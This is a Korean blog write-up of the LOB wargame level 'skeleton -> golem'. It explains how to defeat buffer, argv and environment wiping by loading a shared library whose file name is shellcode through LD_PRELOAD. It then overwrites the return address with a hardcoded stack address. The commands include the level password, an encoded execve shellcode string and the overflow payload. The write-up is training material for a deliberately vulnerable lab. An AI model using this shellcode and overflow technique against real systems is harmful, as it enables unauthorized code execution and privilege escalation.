System&Write up/LOB

LOB skeleton -> golem Write up

Jubil 2017. 10. 12. 20:07
반응형

LOB skeleton -> golem

 

ID : skeleton

Passwd : shellcoder

 


접속해서 ls 명령어로 파일을 확인합니다.

 


cat 명령으로 code를 열어봅니다.

 

main 함수의 Return Address 부분을 제외한 buffer 상위 주소의 모든 부분을 초기화 하는 모습입니다.

buffer, argv, 환경 변수 모두 사용이 불가합니다.

 

그렇다면 어떻게 해야할까요?

 

리눅스에서는 효율적인 라이브러리 함수 사용을 위해서 메모리에 실행한 프로그램만 올리는 것이 아니라 라이브러리도 같이 메모리에 올리게 됩니다.

 


그래서 printf, strcpy, memset 등의 함수들을 우리가 사용할 수 있게 됩니다.

 

사용자가 정의한 함수들을 메모리에 올려서 라이브러리 함수처럼 사용할 수 있게 해주는 것이 LD_PRELOAD 라는 환경 변수입니다.

 

LD_PRELOAD 환경 변수에 파일명을 등록하면 프로그램 실행 시 등록한 파일이 메모리에 올라가게 됩니다.

 

그리고 파일을 올리면 항상 맨 뒤에는 파일명이 올라가게 됩니다.

메모리에서 찾아보면 libc.so.6 이런 파일명이 있고, vampire 때도 파일명을 이용해서 풀었습니다.

 

그리고 LD_PRELOAD를 이용해서 등록하면 buffer보다 낮은 주소에 파일이 올라가게 되어, 0으로 초기화 되는 대상들에 포함되지 않습니다.

 

 

메모리에 적재할 파일을 만들고 그 파일 이름을 셸코드로 컴파일하면 공유 라이브러리 마지막 부분에는 파일명, 즉 셸코드가 올라가 있을 것입니다.

 

공유 라이브러리에 올릴 파일을 컴파일하는 옵션은 –shared –fPIC 입니다.

 

파일명을 이용해서 공격할 것이기 때문에 touch 명령어로 빈 파일을 만들고 –shared –fPIC 옵션으로 컴파일 하겠습니다.

 

touch test.c

 

gcc –shared –fPIC –o `python –c ‘print “\x90”*200 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"’` test.c

 


 

 

LD_PREROAD 환경 변수에 등록합니다.

 

export LD_PRELOAD=”/home/skeleton/tmp/`python –c ‘print “\x90”*200 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"’`”

 


 

 

원본 파일을 tmp에 복사해 와서 gdb로 분석하겠습니다.

 

buffer보다 낮은 주소에 있을 테니 esp-3000부터 찾아보겠습니다.

 


 


 

찾았습니다. Return Address를 저기 주소 중 0xbffff3d4로 변조하겠습니다.

 

 

payload : ./golem `python –c ‘print “A”*44 + “\xd4\xf3\xff\xbf"’`


 

이제 원본 파일 심볼릭 링크를 걸고 공격하겠습니다.

 

ln –s ../golem gol

payload : ./gol `python –c ‘print “A”*44 + “\xd4\xf3\xff\xbf"’`

 


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB darkknight -> bugbear Write up  (0) 2017.10.26
LOB golem -> darkknight Write up  (0) 2017.10.26
LOB vampire -> skeleton Write up  (0) 2017.10.11
LOB troll -> vampire Write up  (0) 2017.10.10
LOB orge -> troll Write up  (0) 2017.10.09